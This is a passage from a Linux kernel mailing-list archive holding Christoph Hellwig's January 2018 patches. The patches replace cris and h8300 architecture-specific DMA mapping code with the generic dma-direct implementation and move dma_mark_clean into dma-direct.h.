@@ -72,6 +75,7 @@ config CRIS
 	select GENERIC_SCHED_CLOCK if ETRAX_ARCH_V32
 	select HAVE_DEBUG_BUGVERBOSE if ETRAX_ARCH_V32
 	select HAVE_NMI
+	select DMA_DIRECT_OPS if PCI
 
 config HZ
 	int
diff --git a/arch/cris/arch-v32/drivers/pci/Makefile b/arch/cris/arch-v32/drivers/pci/Makefile
index bff7482f2444..93c8be6170b1 100644
--- a/arch/cris/arch-v32/drivers/pci/Makefile
+++ b/arch/cris/arch-v32/drivers/pci/Makefile
@@ -2,4 +2,4 @@
 # Makefile for Etrax cardbus driver
 #
 
-obj-$(CONFIG_ETRAX_CARDBUS)        += bios.o dma.o
+obj-$(CONFIG_ETRAX_CARDBUS)        += bios.o
diff --git a/arch/cris/arch-v32/drivers/pci/dma.c b/arch/cris/arch-v32/drivers/pci/dma.c
deleted file mode 100644
index 8c3802244ef3..000000000000
--- a/arch/cris/arch-v32/drivers/pci/dma.c
+++ /dev/null
@@ -1,77 +0,0 @@
-// SPDX-License-Identifier: GPL-2.0
-/*
- * Dynamic DMA mapping support.
- *
- * On cris there is no hardware dynamic DMA address translation,
- * so consistent alloc/free are merely page allocation/freeing.
- * The rest of the dynamic DMA mapping interface is implemented
- * in asm/pci.h.
- *
- * Borrowed from i386.
- */
-
-#include <linux/types.h>
-#include <linux/mm.h>
-#include <linux/string.h>
-#include <linux/pci.h>
-#include <linux/gfp.h>
-#include <asm/io.h>
-
-static void *v32_dma_alloc(struct device *dev, size_t size,
-		dma_addr_t *dma_handle, gfp_t gfp, unsigned long attrs)
-{
-	void *ret;
-
-	if (dev == NULL || (dev->coherent_dma_mask < 0xffffffff))
-		gfp |= GFP_DMA;
-
-	ret = (void *)__get_free_pages(gfp,  get_order(size));
-
-	if (ret != NULL) {
-		memset(ret, 0, size);
-		*dma_handle = virt_to_phys(ret);
-	}
-	return ret;
-}
-
-static void v32_dma_free(struct device *dev, size_t size, void *vaddr,
-		dma_addr_t dma_handle, unsigned long attrs)
-{
-	free_pages((unsigned long)vaddr, get_order(size));
-}
-
-static inline dma_addr_t v32_dma_map_page(struct device *dev,
-		struct page *page, unsigned long offset, size_t size,
-		enum dma_data_direction direction, unsigned long attrs)
-{
-	return page_to_phys(page) + offset;
-}
-
-static inline int v32_dma_map_sg(struct device *dev, struct scatterlist *sg,
-		int nents, enum dma_data_direction direction,
-		unsigned long attrs)
-{
-	printk("Map sg\n");
-	return nents;
-}
-
-static inline int v32_dma_supported(struct device *dev, u64 mask)
-{
-        /*
-         * we fall back to GFP_DMA when the mask isn't all 1s,
-         * so we can't guarantee allocations that must be
-         * within a tighter range than GFP_DMA..
-         */
-        if (mask < 0x00ffffff)
-                return 0;
-	return 1;
-}
-
-const struct dma_map_ops v32_dma_ops = {
-	.alloc			= v32_dma_alloc,
-	.free			= v32_dma_free,
-	.map_page		= v32_dma_map_page,
-	.map_sg                 = v32_dma_map_sg,
-	.dma_supported		= v32_dma_supported,
-};
-EXPORT_SYMBOL(v32_dma_ops);
diff --git a/arch/cris/include/asm/Kbuild b/arch/cris/include/asm/Kbuild
index 460349cb147f..8cf45ac30c1b 100644
--- a/arch/cris/include/asm/Kbuild
+++ b/arch/cris/include/asm/Kbuild
@@ -5,6 +5,7 @@ generic-y += cmpxchg.h
 generic-y += current.h
 generic-y += device.h
 generic-y += div64.h
+generic-y += dma-mapping.h
 generic-y += emergency-restart.h
 generic-y += exec.h
 generic-y += extable.h
diff --git a/arch/cris/include/asm/dma-mapping.h b/arch/cris/include/asm/dma-mapping.h
deleted file mode 100644
index 1553bdb30a0c..000000000000
--- a/arch/cris/include/asm/dma-mapping.h
+++ /dev/null
@@ -1,20 +0,0 @@
-/* SPDX-License-Identifier: GPL-2.0 */
-#ifndef _ASM_CRIS_DMA_MAPPING_H
-#define _ASM_CRIS_DMA_MAPPING_H
-
-#ifdef CONFIG_PCI
-extern const struct dma_map_ops v32_dma_ops;
-
-static inline const struct dma_map_ops *get_arch_dma_ops(struct bus_type *bus)
-{
-	return &v32_dma_ops;
-}
-#else
-static inline const struct dma_map_ops *get_arch_dma_ops(struct bus_type *bus)
-{
-	BUG();
-	return NULL;
-}
-#endif
-
-#endif
-- 
2.14.2

--
To unsubscribe from this list: send the line "unsubscribe sparclinux" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
Newsgroups: gmane.linux.kernel.iommu,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.ports.hexagon,gmane.linux.kernel.arc,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: [PATCH 13/34] dma-mapping: move dma_mark_clean to dma-direct.h
Date: Fri, 12 Jan 2018 09:42:11 +0100
Lines: 153
Approved: news@gmane.org
Message-ID: <20180112084232.2857-14-hch@lst.de>
References: <20180112084232.2857-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1515746564 19424 195.159.176.226 (12 Jan 2018 08:42:44 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 12 Jan 2018 08:42:44 +0000 (UTC)
Cc: linux-mips-6z/3iImG2C8G8FEW9MqTrA@public.gmane.org, linux-ia64-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, sparclinux-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	Guan Xuetao <gxt-TG0Ac1+ktVePQbnJrJN+5g@public.gmane.org>, linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-s390-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-c6x-dev-jPsnJVOj+W6hPH1hqNUYSQ@public.gmane.org,
	linux-hexagon-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, x86-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org,
	Konrad Rzeszutek Wilk <konrad-Gq0aWv8utHQdnm+yROfE0A@public.gmane.org>,
	linux-snps-arc-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org,
	linux-m68k-cunTk1MwBs8S/qaLPR03pWD2FQJk+8+b@public.gmane.org, patches-q3qR2WxjNRFS9aJRtSZj7A@public.gmane.org,
	linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-arm-kernel-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org,
	Michal Simek <monstr-pSz03upnqPeHXe+LvDLADg@public.gmane.org>, linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-cris-kernel-VrBV9hrLPhE@public.gmane.org, linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-alpha-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linuxppc-dev-uLR06cmDAlY/bJ5BZ2RsiQ@public.gmane.org
To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Original-X-From: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org Fri Jan 12 09:42:37 2018
Return-path: <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
Envelope-to: glki-iommu@m.gmane.org
Original-Received: from mail.linuxfoundation.org ([140.211.169.12])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>)
	id 1eZuv0-0004XQ-7M
	for glki-iommu@m.gmane.org; Fri, 12 Jan 2018 09:42:30 +0100
Original-Received: from mail.linux-foundation.org (localhost [127.0.0.1])
	by mail.linuxfoundation.org (Postfix) with ESMTP id BF77A1036;
	Fri, 12 Jan 2018 08:43:26 +0000 (UTC)
X-Original-To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Delivered-To: iommu-i9wRM+HIrmnmtl4Z8vJ8Kg761KYD1DLY@public.gmane.org
Original-Received: from smtp2.linuxfoundation.org (smtp2.linux-foundation.org
	[172.17.192.36])
	by mail.linuxfoundation.org (Postfix) with ESMTPS id DC6911040
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Fri, 12 Jan 2018 08:43:25 +0000 (UTC)
X-Greylist: from auto-whitelisted by SQLgrey-1.7.6
Original-Received: from bombadil.infradead.org (bombadil.infradead.org [65.50.211.133])
	by smtp2.linuxfoundation.org (Postfix) with ESMTPS id 49D9B1E039
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Fri, 12 Jan 2018 08:43:25 +0000 (UTC)
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=infradead.org; s=bombadil.20170209;
	h=References:In-Reply-To:Message-Id:
	Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
	Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
	Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
	List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
	bh=tzFVDkvEhJ6GFKEEmSa4/0NCd//iDA91jkWmMtMH0ps=;
	b=B0pYwhOcBHghPoyHCti0yMD7D
	9S6P/+QlY8ojUgojtuB1HVelbm9k0HtMuWElOXtlcufIZUegzCXn6SGxMH/sEWNjs3o/oU8smrQJg
	u4TbyyrJplXPoVXyeRTqowtFIuJwcstcVTwlqEE9Q8Asnj2n2gNcT5IFM3P30BAUv7IpTsnriMNlA
	sIKvSZJUz0g2X1MPkZeSUFdkd5NThowk9CiurLUPEY0/+zXgxTqiNBXrBgh5RS4dhQbOgKXVfRPY4
	F96dzN3rmELSIeRpF/s2YbatRmZXEVpz5tkYIk1R3kJvoWmH8/jnJD8cWzIb7tq/wsLt5ewLRIVbJ
	kcopeJ1dg==;
Original-Received: from [188.21.167.3] (helo=localhost)
	by bombadil.infradead.org with esmtpsa (Exim 4.89 #1 (Red Hat Linux))
	id 1eZuvm-0007mU-EQ; Fri, 12 Jan 2018 08:43:18 +0000
X-Mailer: git-send-email 2.14.2
In-Reply-To: <20180112084232.2857-1-hch-jcswGhMUV9g@public.gmane.org>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch-wEGCiKHe2LqWVfeAwA7xHQ@public.gmane.org> by
	bombadil.infradead.org. See http://www.infradead.org/rpr.html
X-BeenThere: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
X-Mailman-Version: 2.1.12
Precedence: list
List-Id: Development issues for Linux IOMMU support
	<iommu.lists.linux-foundation.org>
List-Unsubscribe: <https://lists.linuxfoundation.org/mailman/options/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.linuxfoundation.org/pipermail/iommu/>
List-Post: <mailto:iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
List-Help: <mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=help>
List-Subscribe: <https://lists.linuxfoundation.org/mailman/listinfo/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=subscribe>
Original-Sender: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Errors-To: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.iommu:22166 gmane.linux.ports.mips.general:63307 gmane.linux.ports.ia64:28610 gmane.linux.ports.sh.devel:56311 gmane.linux.ports.sparc:27260 gmane.linux.kernel.cross-arch:41468 gmane.linux.ports.hexagon:1575 gmane.linux.kernel.arc:3359 gmane.linux.kernel.metag:1652 gmane.linux.ports.arm.kernel:625665 gmane.linux.ports.parisc:28252 gmane.linux.kernel:2665099 gmane.linux.ports.alpha:4749 gmane.linux.ports.ppc64.devel:152034
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.iommu/22166>

And unlike the other helpers we don't require a <asm/dma-direct.h> as
this helper is a special case for ia64 only, and this keeps it as
simple as possible.

Signed-off-by: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
---
 arch/arm/include/asm/dma-mapping.h       | 2 --
 arch/arm64/include/asm/dma-mapping.h     | 4 ----
 arch/ia64/Kconfig                        | 1 +
 arch/ia64/include/asm/dma.h              | 2 --
 arch/mips/include/asm/dma-mapping.h      | 2 --
 arch/powerpc/include/asm/swiotlb.h       | 2 --
 arch/tile/include/asm/dma-mapping.h      | 2 --
 arch/unicore32/include/asm/dma-mapping.h | 2 --
 arch/x86/include/asm/swiotlb.h           | 2 --
 include/linux/dma-direct.h               | 9 +++++++++
 10 files changed, 10 insertions(+), 18 deletions(-)

diff --git a/arch/arm/include/asm/dma-mapping.h b/arch/arm/include/asm/dma-mapping.h
index 5fb1b7fbdfbe..e5d9020c9ee1 100644
--- a/arch/arm/include/asm/dma-mapping.h
+++ b/arch/arm/include/asm/dma-mapping.h
@@ -109,8 +109,6 @@ static inline bool is_device_dma_coherent(struct device *dev)
 	return dev->archdata.dma_coherent;
 }
 
-static inline void dma_mark_clean(void *addr, size_t size) { }
-
 /**
  * arm_dma_alloc - allocate consistent memory for DMA
  * @dev: valid struct device pointer, or NULL for ISA and EISA-like devices
diff --git a/arch/arm64/include/asm/dma-mapping.h b/arch/arm64/include/asm/dma-mapping.h
index 400fa67d3b5a..b7847eb8a7bb 100644
--- a/arch/arm64/include/asm/dma-mapping.h
+++ b/arch/arm64/include/asm/dma-mapping.h
@@ -50,9 +50,5 @@ static inline bool is_device_dma_coherent(struct device *dev)
 	return dev->archdata.dma_coherent;
 }
 
-static inline void dma_mark_clean(void *addr, size_t size)
-{
-}
-
 #endif	/* __KERNEL__ */
 #endif	/* __ASM_DMA_MAPPING_H */
diff --git a/arch/ia64/Kconfig b/arch/ia64/Kconfig
index 49583c5a5d44..4d18fca885ee 100644
--- a/arch/ia64/Kconfig
+++ b/arch/ia64/Kconfig
@@ -33,6 +33,7 @@ config IA64
 	select HAVE_MEMBLOCK
 	select HAVE_MEMBLOCK_NODE_MAP
 	select HAVE_VIRT_CPU_ACCOUNTING
+	select ARCH_HAS_DMA_MARK_CLEAN
 	select ARCH_HAS_SG_CHAIN
 	select VIRT_TO_BUS
 	select ARCH_DISCARD_MEMBLOCK
diff --git a/arch/ia64/include/asm/dma.h b/arch/ia64/include/asm/dma.h
index 186850eec934..23604d6a2cb2 100644
--- a/arch/ia64/include/asm/dma.h
+++ b/arch/ia64/include/asm/dma.h
@@ -20,6 +20,4 @@ extern unsigned long MAX_DMA_ADDRESS;
 
 #define free_dma(x)
 
-void dma_mark_clean(void *addr, size_t size);
-
 #endif /* _ASM_IA64_DMA_H */
diff --git a/arch/mips/include/asm/dma-mapping.h b/arch/mips/include/asm/dma-mapping.h
index 676c14cfc580..886e75a383f2 100644
--- a/arch/mips/include/asm/dma-mapping.h
+++ b/arch/mips/include/asm/dma-mapping.h
@@ -17,8 +17,6 @@ static inline const struct dma_map_ops *get_arch_dma_ops(struct bus_type *bus)
 	return mips_dma_map_ops;
 }
 
-static inline void dma_mark_clean(void *addr, size_t size) {}
-
 #define arch_setup_dma_ops arch_setup_dma_ops
 static inline void arch_setup_dma_ops(struct device *dev, u64 dma_base,
 				      u64 size, const struct iommu_ops *iommu,
diff --git a/arch/powerpc/include/asm/swiotlb.h b/arch/powerpc/include/asm/swiotlb.h
index 01d45a5fd00b..9341ee804d19 100644
--- a/arch/powerpc/include/asm/swiotlb.h
+++ b/arch/powerpc/include/asm/swiotlb.h
@@ -15,8 +15,6 @@
 
 extern const struct dma_map_ops swiotlb_dma_ops;
 
-static inline void dma_mark_clean(void *addr, size_t size) {}
-
 extern unsigned int ppc_swiotlb_enable;
 int __init swiotlb_setup_bus_notifier(void);
 
diff --git a/arch/tile/include/asm/dma-mapping.h b/arch/tile/include/asm/dma-mapping.h
index 75b8aaa4e70b..d25fce101fc0 100644
--- a/arch/tile/include/asm/dma-mapping.h
+++ b/arch/tile/include/asm/dma-mapping.h
@@ -44,8 +44,6 @@ static inline void set_dma_offset(struct device *dev, dma_addr_t off)
 	dev->archdata.dma_offset = off;
 }
 
-static inline void dma_mark_clean(void *addr, size_t size) {}
-
 #define HAVE_ARCH_DMA_SET_MASK 1
 int dma_set_mask(struct device *dev, u64 mask);
 
diff --git a/arch/unicore32/include/asm/dma-mapping.h b/arch/unicore32/include/asm/dma-mapping.h
index 5cb250bf2d8c..f2bfec273aa7 100644
--- a/arch/unicore32/include/asm/dma-mapping.h
+++ b/arch/unicore32/include/asm/dma-mapping.h
@@ -25,7 +25,5 @@ static inline const struct dma_map_ops *get_arch_dma_ops(struct bus_type *bus)
 	return &swiotlb_dma_map_ops;
 }
 
-static inline void dma_mark_clean(void *addr, size_t size) {}
-
 #endif /* __KERNEL__ */
 #endif
diff --git a/arch/x86/include/asm/swiotlb.h b/arch/x86/include/asm/swiotlb.h
index bdf9aed40403..1c6a6cb230ff 100644
--- a/arch/x86/include/asm/swiotlb.h
+++ b/arch/x86/include/asm/swiotlb.h
@@ -28,8 +28,6 @@ static inline void pci_swiotlb_late_init(void)
 }
 #endif
 
-static inline void dma_mark_clean(void *addr, size_t size) {}
-
 extern void *x86_swiotlb_alloc_coherent(struct device *hwdev, size_t size,
 					dma_addr_t *dma_handle, gfp_t flags,
 					unsigned long attrs);
diff --git a/include/linux/dma-direct.h b/include/linux/dma-direct.h
index 2cc1b6558944..10e924b7cba7 100644
--- a/include/linux/dma-direct.h
+++ b/include/linux/dma-direct.h
@@ -29,4 +29,13 @@ static inline bool dma_capable(struct device *dev, dma_addr_t addr, size_t size)
 	return addr + size - 1 <= *dev->dma_mask;
 }
 #endif /* !CONFIG_ARCH_HAS_PHYS_TO_DMA */
+
+#ifdef CONFIG_ARCH_HAS_DMA_MARK_CLEAN
+void dma_mark_clean(void *addr, size_t size);
+#else
+static inline void dma_mark_clean(void *addr, size_t size)
+{
+}
+#endif /* CONFIG_ARCH_HAS_DMA_MARK_CLEAN */
+
 #endif /* _LINUX_DMA_DIRECT_H */
-- 
2.14.2


From - Thu Nov 08 21:40:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.iommu,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch
Subject: [PATCH 34/34] h8300: use dma-direct
Date: Fri, 12 Jan 2018 09:42:32 +0100
Lines: 145
Approved: news@gmane.org
Message-ID: <20180112084232.2857-35-hch@lst.de>
References: <20180112084232.2857-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1515746591 25235 195.159.176.226 (12 Jan 2018 08:43:11 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 12 Jan 2018 08:43:11 +0000 (UTC)
Cc: Konrad Rzeszutek Wilk <konrad@darnok.org>,
        linux-alpha@vger.kernel.org, linux-snps-arc@lists.infradead.org,
        linux-arm-kernel@lists.infradead.org, linux-c6x-dev@linux-c6x.org,
        linux-cris-kernel@axis.com, linux-hexagon@vger.kernel.org,
        linux-ia64@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
        linux-metag@vger.kernel.org, Michal Simek <monstr@monstr.eu>,
        linux-mips@linux-mips.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org, patches@groups.riscv.org,
        linux-s390@vger.kernel.org, linux-sh@vger.kernel.org,
        sparclinux@vger.kernel.org, Guan Xuetao <gxt@mprc.pku.edu.cn>,
        x86@kernel.org, linux-arch@vger.kernel.org,
        linux-kernel@vger.kernel.org
To: iommu@lists.linux-foundation.org
Original-X-From: linux-kernel-owner@vger.kernel.org Fri Jan 12 09:43:05 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1eZuvP-0004sE-V8
	for glk-linux-kernel-3@m.gmane.org; Fri, 12 Jan 2018 09:42:56 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S934213AbeALIo4 (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Fri, 12 Jan 2018 03:44:56 -0500
Original-Received: from bombadil.infradead.org ([65.50.211.133]:38676 "EHLO
        bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S934139AbeALIoZ (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Fri, 12 Jan 2018 03:44:25 -0500
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
        d=infradead.org; s=bombadil.20170209; h=References:In-Reply-To:Message-Id:
        Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
        Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
        Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
        List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
         bh=qLMBnGBgqkewwHo8PqZ7pyXUSA8cUYYRLu7htx6D/Ks=; b=W6zOe300tB9k5M2knvwcwRqst
        8ygWoQ2QRvG0qRpBmlNVxpxHpelLy+6AF3h+IL7AfXXhQ+JGjF+5Aejp55BlOVA0c4vB08cOdZtFy
        P+ocRW+jpZjFrYk28tiPmZAKK/swkDlXnk2jFxfG8ujDXOIeeTEpq4A4x/U6WXRaO4BbCjk90Dz5M
        QZZp5txBZxVwzDFHqIOGv0YlINMzdQW7B7SGTMMCLEk7L8+0UvGfUX/VnCQAr6VVzj4xRM+8XZuDE
        kQA6bWn8mM0siYVMgcfq/sBvpeeN2Ovi3M25Rb85PSokpZW+EM3bWkDe80coW+wHkoWPBuAgzODGC
    
Original-Received: from [188.21.167.3] (helo=localhost)
        by bombadil.infradead.org with esmtpsa (Exim 4.89 #1 (Red Hat Linux))
        id 1eZuwn-0000TB-Dh; Fri, 12 Jan 2018 08:44:21 +0000
X-Mailer: git-send-email 2.14.2
In-Reply-To: <20180112084232.2857-1-hch@lst.de>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org. See http://www.infradead.org/rpr.html
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2665100 gmane.linux.kernel.iommu:22167 gmane.linux.ports.alpha:4750 gmane.linux.kernel.arc:3360 gmane.linux.ports.arm.kernel:625666 gmane.linux.ports.hexagon:1576 gmane.linux.ports.ia64:28611 gmane.linux.kernel.metag:1653 gmane.linux.ports.mips.general:63308 gmane.linux.ports.parisc:28253 gmane.linux.ports.ppc64.devel:152035 gmane.linux.ports.sh.devel:56312 gmane.linux.ports.sparc:27261 gmane.linux.kernel.cross-arch:41469
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2665100>

Replace the bare-bones h8300 direct dma mapping implementation with
the fully featured generic dma-direct one.

Signed-off-by: Christoph Hellwig <hch@lst.de>
---
 arch/h8300/Kconfig                   |  1 +
 arch/h8300/include/asm/Kbuild        |  1 +
 arch/h8300/include/asm/dma-mapping.h | 12 -------
 arch/h8300/kernel/Makefile           |  2 +-
 arch/h8300/kernel/dma.c              | 66 ------------------------------------
 5 files changed, 3 insertions(+), 79 deletions(-)
 delete mode 100644 arch/h8300/include/asm/dma-mapping.h
 delete mode 100644 arch/h8300/kernel/dma.c

diff --git a/arch/h8300/Kconfig b/arch/h8300/Kconfig
index f8d3fde08190..091d6d04b5e5 100644
--- a/arch/h8300/Kconfig
+++ b/arch/h8300/Kconfig
@@ -23,6 +23,7 @@ config H8300
 	select HAVE_ARCH_KGDB
 	select HAVE_ARCH_HASH
 	select CPU_NO_EFFICIENT_FFS
+	select DMA_DIRECT_OPS
 
 config CPU_BIG_ENDIAN
 	def_bool y
diff --git a/arch/h8300/include/asm/Kbuild b/arch/h8300/include/asm/Kbuild
index bc077491d299..642752c94306 100644
--- a/arch/h8300/include/asm/Kbuild
+++ b/arch/h8300/include/asm/Kbuild
@@ -9,6 +9,7 @@ generic-y += delay.h
 generic-y += device.h
 generic-y += div64.h
 generic-y += dma.h
+generic-y += dma-mapping.h
 generic-y += emergency-restart.h
 generic-y += exec.h
 generic-y += extable.h
diff --git a/arch/h8300/include/asm/dma-mapping.h b/arch/h8300/include/asm/dma-mapping.h
deleted file mode 100644
index 21bb1fc3a6f1..000000000000
--- a/arch/h8300/include/asm/dma-mapping.h
+++ /dev/null
@@ -1,12 +0,0 @@
-/* SPDX-License-Identifier: GPL-2.0 */
-#ifndef _H8300_DMA_MAPPING_H
-#define _H8300_DMA_MAPPING_H
-
-extern const struct dma_map_ops h8300_dma_map_ops;
-
-static inline const struct dma_map_ops *get_arch_dma_ops(struct bus_type *bus)
-{
-	return &h8300_dma_map_ops;
-}
-
-#endif
diff --git a/arch/h8300/kernel/Makefile b/arch/h8300/kernel/Makefile
index b62e830525c6..307aa51576dd 100644
--- a/arch/h8300/kernel/Makefile
+++ b/arch/h8300/kernel/Makefile
@@ -7,7 +7,7 @@ extra-y := vmlinux.lds
 
 obj-y := process.o traps.o ptrace.o \
 	 signal.o setup.o syscalls.o \
-	 irq.o entry.o dma.o
+	 irq.o entry.o
 
 obj-$(CONFIG_ROMKERNEL) += head_rom.o
 obj-$(CONFIG_RAMKERNEL) += head_ram.o
diff --git a/arch/h8300/kernel/dma.c b/arch/h8300/kernel/dma.c
deleted file mode 100644
index d44ba5db4ac3..000000000000
--- a/arch/h8300/kernel/dma.c
+++ /dev/null
@@ -1,66 +0,0 @@
-/*
- * This file is subject to the terms and conditions of the GNU General Public
- * License.  See the file COPYING in the main directory of this archive
- * for more details.
- */
-
-#include <linux/dma-mapping.h>
-#include <linux/kernel.h>
-#include <linux/scatterlist.h>
-#include <linux/module.h>
-#include <asm/pgalloc.h>
-
-static void *dma_alloc(struct device *dev, size_t size,
-		       dma_addr_t *dma_handle, gfp_t gfp,
-		       unsigned long attrs)
-{
-	void *ret;
-
-	if (dev == NULL || (*dev->dma_mask < 0xffffffff))
-		gfp |= GFP_DMA;
-	ret = (void *)__get_free_pages(gfp, get_order(size));
-
-	if (ret != NULL) {
-		memset(ret, 0, size);
-		*dma_handle = virt_to_phys(ret);
-	}
-	return ret;
-}
-
-static void dma_free(struct device *dev, size_t size,
-		     void *vaddr, dma_addr_t dma_handle,
-		     unsigned long attrs)
-
-{
-	free_pages((unsigned long)vaddr, get_order(size));
-}
-
-static dma_addr_t map_page(struct device *dev, struct page *page,
-				  unsigned long offset, size_t size,
-				  enum dma_data_direction direction,
-				  unsigned long attrs)
-{
-	return page_to_phys(page) + offset;
-}
-
-static int map_sg(struct device *dev, struct scatterlist *sgl,
-		  int nents, enum dma_data_direction direction,
-		  unsigned long attrs)
-{
-	struct scatterlist *sg;
-	int i;
-
-	for_each_sg(sgl, sg, nents, i) {
-		sg->dma_address = sg_phys(sg);
-	}
-
-	return nents;
-}
-
-const struct dma_map_ops h8300_dma_map_ops = {
-	.alloc = dma_alloc,
-	.free = dma_free,
-	.map_page = map_page,
-	.map_sg = map_sg,
-};
-EXPORT_SYMBOL(h8300_dma_map_ops);
-- 
2.14.2



From - Thu Nov 08 21:40:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
Newsgroups: gmane.linux.kernel.iommu,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.ports.hexagon,gmane.linux.kernel.arc,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
